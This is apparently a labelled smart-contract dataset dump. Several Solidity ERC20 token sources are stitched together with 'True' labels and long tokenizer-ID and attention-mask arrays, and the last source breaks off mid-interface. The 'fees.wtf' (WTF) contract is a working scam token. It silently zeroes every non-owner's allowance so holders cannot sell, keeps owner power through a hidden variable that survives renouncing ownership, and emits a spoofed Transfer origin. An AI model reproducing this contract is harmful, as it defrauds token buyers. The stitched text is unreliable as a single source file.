* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(value, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ELLA is ERC20Mintable, Ownable, ERC20Detailed, ERC20Burnable{
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 initialSupply
)
public
ERC20Detailed(name, symbol, decimals)
{
if (initialSupply > 0) {
_mint(owner(), initialSupply);
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
2515,
2025,
2421,
1008,
1996,
11887,
4972,
1025,
2000,
3229,
2068,
2156,
1063,
9413,
2278,
11387,
3207,
14162,
2098,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-01-13
*/
/*
fees.wtf
*/
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract WTF is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1716* 10**6 * 10**18;
string private _name = 'fees.wtf';
string private _symbol = 'WTF';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0x949d37Bc99a1eD3b6851dDb3d9d003154e00F617), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
2410,
1008,
1013,
1013,
1008,
9883,
1012,
1059,
24475,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2260,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
4769,
1063,
3853,
2003,
8663,
6494,
6593,
1006,
4769,
4070,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
27507,
16703,
3642,
14949,
2232,
1025,
27507,
16703,
4070,
14949,
2232,
1027,
1014,
2595,
2278,
2629,
2094,
18827,
16086,
15136,
2575,
2546,
2581,
21926,
2509,
2278,
2683,
22907,
2063,
2581,
18939,
2475,
16409,
2278,
19841,
2509,
2278,
2692,
2063,
29345,
2497,
26187,
2509,
3540,
2620,
19317,
2581,
2509,
2497,
2581,
29292,
4215,
17914,
19961,
2094,
27531,
2050,
22610,
2692,
1025,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
2053,
1011,
23881,
1011,
3320,
3320,
1063,
3642,
14949,
2232,
1024,
1027,
4654,
13535,
10244,
14949,
2232,
1006,
4070,
1007,
1065,
2709,
1006,
3642,
14949,
2232,
999,
1027,
4070,
14949,
2232,
1004,
1004,
3642,
14949,
2232,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1065,
3853,
4604,
10175,
5657,
1006,
4769,
3477,
3085,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
4722,
1063,
5478,
1006,
4769,
1006,
2023,
1007,
1012,
5703,
1028,
1027,
3815,
1010,
1000,
4769,
1024,
13990,
5703,
1000,
1007,
1025,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
4468,
1011,
2659,
1011,
2504,
1011,
4455,
1010,
4468,
1011,
2655,
1011,
3643,
1006,
22017,
2140,
3112,
1010,
1007,
1027,
7799,
1012,
2655,
1063,
3643,
1024,
3815,
1065,
1006,
1000,
1000,
1007,
1025,
5478,
1006,
3112,
1010,
1000,
4769,
1024,
4039,
2000,
4604,
3643,
1010,
7799,
2089,
2031,
16407,
1000,
1007,
1025,
1065,
3853,
3853,
9289,
2140,
1006,
4769,
4539,
1010,
27507,
3638,
2951,
1007,
4722,
5651,
1006,
27507,
3638,
1007,
1063,
2709,
3853,
9289,
2140,
1006,
4539,
1010,
2951,
1010,
1000,
4769,
1024,
2659,
1011,
2504,
2655,
3478,
1000,
1007,
1025,
1065,
3853,
3853,
9289,
2140,
1006,
4769,
4539,
1010,
27507,
3638,
2951,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5651,
1006,
27507,
3638,
1007,
1063,
2709,
1035,
3853,
9289,
2140,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
